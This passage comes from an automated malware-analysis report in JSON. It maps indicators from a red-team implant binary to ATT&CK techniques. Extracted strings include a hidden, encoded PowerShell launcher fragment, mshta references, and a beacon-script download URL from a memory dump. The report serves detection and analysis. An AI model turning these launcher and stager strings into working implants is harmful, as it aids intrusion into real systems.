\"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-210","type":2,"relevance":1,"name":"Contains ability to create/connect to a named pipe (API string)","description":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"RedTeamImplant.exe\")\n Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")\n Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateNamedPipe\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"CreateNamedPipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.CreatePipe\" (Indicator: \"CreatePipe\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1559","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1559","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-419","type":2,"relevance":1,"name":"Contains ability to open a port and listen for incoming connection (API string)","description":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")","description_v2":["file/memory contains long string with (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"setsockopt\"; File: \"RedTeamImplant.exe\")"}],"origin":"File/Memory","attck_id":"T1571","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1571","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-112","type":2,"relevance":1,"name":"Contains ability to retrieve information about user accounts on a server (API string)","description":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserGetLocalGroups\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"NetUserGetInfo\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1087.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1087/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-899","type":2,"relevance":1,"name":"Contains references to network communication API (string)","description":"$4d","description_v2":["file/memory contains long string with (Indicator: \"wsastartup\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"wsacleanup\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"gethostbyname\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \" send \"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \" socket \"; File: \"RedTeamImplant.exe\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"wsastartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"wsacleanup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \"gethostbyname\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \" send \"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","file/memory contains long string with (Indicator: \" socket \"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"wsastartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"wsacleanup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"gethostbyname\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \" send \"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \" socket \"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"wsastartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"wsacleanup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"gethostbyname\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \" send \"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \" socket \"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"},{"type":"linebreak"},{"type":"text","value":"Found reference to API \"syscall.WSAStartup\" (Indicator: \"wsastartup\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"string-3","type":2,"relevance":3,"name":"Found potential URL in binary/memory","description":"$4e","description_v2":["Heuristic match: \"*abi.name\"","Heuristic match: \"*godebugs.info\"","Pattern match: \"http://127.0.0.1:8080/beacon.ps1\"","Heuristic match: \"internal/abi.name.name\"","Heuristic match: \"type:.eq.internal/godebugs.info\"","Heuristic match: \"runtime.(*bucket).mp\"","Heuristic match: \"runtime.(*polldesc).info\"","Heuristic match: \"runtime.srcfunc.name\"","Heuristic match: \"commandcontextruntime: getqueuedcompletionstatusex returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)createobject(wscript.shell).run powershell -nop -noni -w hidden -enc runtime: getqueuedcompletion\"","Heuristic match: \"errors.is\"","Pattern match: \"eq.sync/atomic.bool\"","Pattern match: \"eq.sync/atomic.int32\"","Pattern match: \"eq.sync/atomic.uint32\"","Pattern match: \"eq.sync/atomic.uint64\"","Heuristic match: \"sync.(*once).do\"","Pattern match: \"eq.sync/atomic.pointer[sync.poolchainelt\"","Pattern match: \"eq.sync/atomic.pointer[internal/sync.indirect[interface\"","Pattern match: \"eq.sync/atomic.pointer[internal/sync.entry[interface\"","Pattern match: \"eq.sync/atomic.pointer[internal/sync.node[interface\"","Pattern match: \"eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface\"","Pattern match: \"eq.sync/atomic.pointer[go.shape.struct\"","Heuristic match: \"unicode.to\"","Heuristic match: \"reflect.flag.ro\"","Heuristic match: \"reflect.value.int\"","Pattern match: \"eq.sync/atomic.pointer[internal/bisect.dedup\"","Heuristic match: \"internal/godebug.(*setting).name\"","Pattern match: \"eq.sync/atomic.pointer[internal/godebug.value\"","Heuristic match: \"syscall.errno.is\"","Heuristic match: \"syscall.(*errno).is\"","Pattern match: \"eq.io/fs.patherror\"","Pattern match: \"eq.sync/atomic.pointer[os.dirinfo\"","Pattern match: \"eq.os/exec.error\"","Pattern match: \"eq.os/exec.wrappederror\"","Pattern match: \"eq.os/exec.ctxresult\"","Pattern match: \"eq.os/exec.goroutinestatus\"","Heuristic match: \"mshta.exe.com\"","Heuristic match: \"c:\\program files (x86)\\common files\\oracle\\java\\javapath\\mshta.exe.com\""],"description_v3":[{"type":"text","value":"Heuristic match: \"*abi.name\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"*godebugs.info\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"http://127.0.0.1:8080/beacon.ps1\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"internal/abi.name.name\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"type:.eq.internal/godebugs.info\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"runtime.(*bucket).mp\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"runtime.(*polldesc).info\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"runtime.srcfunc.name\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"commandcontextruntime: getqueuedcompletionstatusex returned net_op with invalid key= too many concurrent operations on a single file or socket (max 1048575)createobject(wscript.shell).run powershell -nop -noni -w hidden -enc runtime: getqueuedcompletion\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"errors.is\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.bool\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.int32\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.uint32\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.uint64\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"sync.(*once).do\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[sync.poolchainelt\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/sync.indirect[interface\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/sync.entry[interface\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/sync.node[interface\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[go.shape.struct\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"unicode.to\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"reflect.flag.ro\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"reflect.value.int\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/bisect.dedup\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"internal/godebug.(*setting).name\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[internal/godebug.value\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"syscall.errno.is\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"syscall.(*errno).is\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.io/fs.patherror\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.sync/atomic.pointer[os.dirinfo\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.os/exec.error\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.os/exec.wrappederror\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.os/exec.ctxresult\""},{"type":"linebreak"},{"type":"text","value":"Pattern match: \"eq.os/exec.goroutinestatus\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"mshta.exe.com\""},{"type":"linebreak"},{"type":"text","value":"Heuristic match: \"%PROGRAMFILES%\\(x86)\\common files\\oracle\\java\\javapath\\mshta.exe.com\""}],"origin":"File/Memory","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"memorydump-2","type":20,"relevance":1,"name":"Found potential URLs in memory dumps","description":"Found URL \"http://127.0.0.1:8080/beacon.ps1'))\" - Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["Found URL \"http://127.0.0.1:8080/beacon.ps1'))\" - Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"Found URL \"http://127.0.0.1:8080/beacon.ps1'))\" - Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"Memory Dumps","attck_id":"T1071","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1071","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"summary-25","type":15,"relevance":0,"name":"References server/domain address with port number","description":"Found ip/domain with port number \"http://127.0.0.1:8080\"","description_v2":["Found ip/domain with port number \"http://127.0.0.1:8080\""],"description_v3":[{"type":"text","value":"Found ip/domain with port number \"http://127.0.0.1:8080\""}],"origin":"Indicator Combinations","attck_id":"T1571","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1571","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Network Related","identifier":"summary-27","type":15,"relevance":2,"name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","description_v2":["Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network"],"description_v3":[{"type":"text","value":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network"}],"origin":"Indicator Combinations","attck_id":"T1119","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1119","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Pattern Matching","identifier":"yara-606","type":13,"relevance":5,"name":"YARA signature match - Medium entropy File","description":"YARA signature to detect medium entropy file file \"sample.bin\"\n YARA signature to detect medium entropy file process \"00000000-00007844\"","description_v2":["YARA signature to detect medium entropy file file \"sample.bin\"","YARA signature to detect medium entropy file process \"00000000-00007844\""],"description_v3":[{"type":"text","value":"YARA signature to detect medium entropy file file \"sample.bin\""},{"type":"linebreak"},{"type":"text","value":"YARA signature to detect medium entropy file process \"00000000-00007844\""}],"origin":"YARA Signature","attck_id":"T1027.013","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027/013","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Pattern Matching","identifier":"yara-36","type":13,"relevance":3,"name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007844\"","description_v2":["YARA signature for detecting PowerShell file matched on process \"00000000-00007844\""],"description_v3":[{"type":"text","value":"YARA signature for detecting PowerShell file matched on process \"00000000-00007844\""}],"origin":"YARA Signature","attck_id":"T1059.001","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1059/001","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Pattern Matching","identifier":"yara-104","type":13,"relevance":0,"name":"YARA signature match - RC4 Encryption","description":"YARA signature for RC4 encryption matched on file \"sample.bin\"\n YARA signature for RC4 encryption matched on process \"00000000-00007844\"","description_v2":["YARA signature for RC4 encryption matched on file \"sample.bin\"","YARA signature for RC4 encryption matched on process \"00000000-00007844\""],"description_v3":[{"type":"text","value":"YARA signature for RC4 encryption matched on file \"sample.bin\""},{"type":"linebreak"},{"type":"text","value":"YARA signature for RC4 encryption matched on process \"00000000-00007844\""}],"origin":"YARA Signature","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Pattern Matching","identifier":"yara-209","type":13,"relevance":1,"name":"YARA signature match – ROR algorithm","description":"YARA signature matched on R0R instruction used in file \"sample.bin\"","description_v2":["YARA signature matched on R0R instruction used in file \"sample.bin\""],"description_v3":[{"type":"text","value":"YARA signature matched on R0R instruction used in file \"sample.bin\""}],"origin":"YARA Signature","attck_id":"T1027","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1027","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-86","type":2,"relevance":1,"name":"Able to discover operating system information (API string)","description":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"RedTeamImplant.exe\")\n file/memory contains long string with (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")","description_v2":["file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"],"description_v3":[{"type":"text","value":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"RtlGetVersion\"; Source: \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\")"}],"origin":"File/Memory","attck_id":"T1082","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1082","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-229","type":2,"relevance":1,"name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegOpenKey (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry query API: \"RegQueryValue (in long string)\" in file \"RedTeamImplant.exe\"\n Found registry query API: \"syscall.RegOpenKeyEx\" in file \"RedTeamImplant.exe\"\n Found registry query API: \"syscall.RegQueryValueEx\" in file \"RedTeamImplant.exe\"\n Found registry query API: \"syscall.RegEnumKeyEx\" in file \"RedTeamImplant.exe\"\n Found registry query API: \"RegOpenKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry query API: \"RegQueryValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry query API: \"syscall.RegOpenKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry query API: \"syscall.RegQueryValueEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"\n Found registry query API: \"syscall.RegEnumKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","description_v2":["Found registry query API: \"RegOpenKey (in long string)\" in file \"RedTeamImplant.exe\"","Found registry query API: \"RegQueryValue (in long string)\" in file \"RedTeamImplant.exe\"","Found registry query API: \"syscall.RegOpenKeyEx\" in file \"RedTeamImplant.exe\"","Found registry query API: \"syscall.RegQueryValueEx\" in file \"RedTeamImplant.exe\"","Found registry query API: \"syscall.RegEnumKeyEx\" in file \"RedTeamImplant.exe\"","Found registry query API: \"RegOpenKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry query API: \"RegQueryValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry query API: \"syscall.RegOpenKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry query API: \"syscall.RegQueryValueEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\"","Found registry query API: \"syscall.RegEnumKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""],"description_v3":[{"type":"text","value":"Found registry query API: \"RegOpenKey (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"RegQueryValue (in long string)\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegOpenKeyEx\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegQueryValueEx\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegEnumKeyEx\" in file \"RedTeamImplant.exe\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"RegOpenKey (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"RegQueryValue (in long string)\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegOpenKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegQueryValueEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""},{"type":"linebreak"},{"type":"text","value":"Found registry query API: \"syscall.RegEnumKeyEx\" in \"00000000-00007844.00000001.185683.ECEC7000.00000002.mdmp\""}],"origin":"File/Memory","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1012","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"api-103","type":6,"relevance":3,"name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"RedTeamImplant.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","description_v2":["\"RedTeamImplant.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"","\"th32ProcessID\": \"0\"}"],"description_v3":[{"type":"text","value":"\"RedTeamImplant.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\""},{"type":"linebreak"},{"type":"text","value":"\"th32ProcessID\": \"0\"}"}],"origin":"API Call","attck_id":"T1057","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/techniques/T1057","stream_data":null},{"threat_level":0,"threat_level_human":"informative","category":"Spyware/Information Retrieval","identifier":"string-57","type":2,"relevance":3,"name":"Contains CRYPTO related strings","description":"$4f","description_v2":["Found string \"chacha8\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"*base64.Encoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"*chacha8rand.State\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")","file/memory contains long string with (Indicator: \"3des\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.(*State).Init\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.(*State).Init64\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.(*State).Refill\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.(*State).Reseed\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.(*State).Next\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"internal/chacha8rand.block\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"type:.eq.internal/chacha8rand.State\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"runtime.initAlgAES\" (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")","Found string \"aeshashbody\" (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.init\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.NewEncoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.Encoding.WithPadding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.(*Encoding).Encode\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.(*Encoding).EncodeToString\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"encoding/base64.(*Encoding).EncodedLen\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"type:.eq.encoding/base64.Encoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")","Found string \"/usr/local/go/src/internal/chacha8rand/chacha8.go\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")","Found string \"/usr/local/go/src/internal/chacha8rand/chacha8_amd64.s\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"],"description_v3":[{"type":"text","value":"Found string \"chacha8\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"*base64.Encoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"*chacha8rand.State\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"file/memory contains long string with (Indicator: \"3des\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.(*State).Init\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.(*State).Init64\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.(*State).Refill\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.(*State).Reseed\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.(*State).Next\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"internal/chacha8rand.block\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"type:.eq.internal/chacha8rand.State\" (Indicator: \"chacha\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"runtime.initAlgAES\" (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"aeshashbody\" (Indicator: \"aes\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.init\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.NewEncoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.Encoding.WithPadding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.(*Encoding).Encode\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.(*Encoding).EncodeToString\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"encoding/base64.(*Encoding).EncodedLen\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string \"type:.eq.encoding/base64.Encoding\" (Indicator: \"base64\"; File: \"RedTeamImplant.exe\")"},{"type":"linebreak"},{"type":"text","value":"Found string 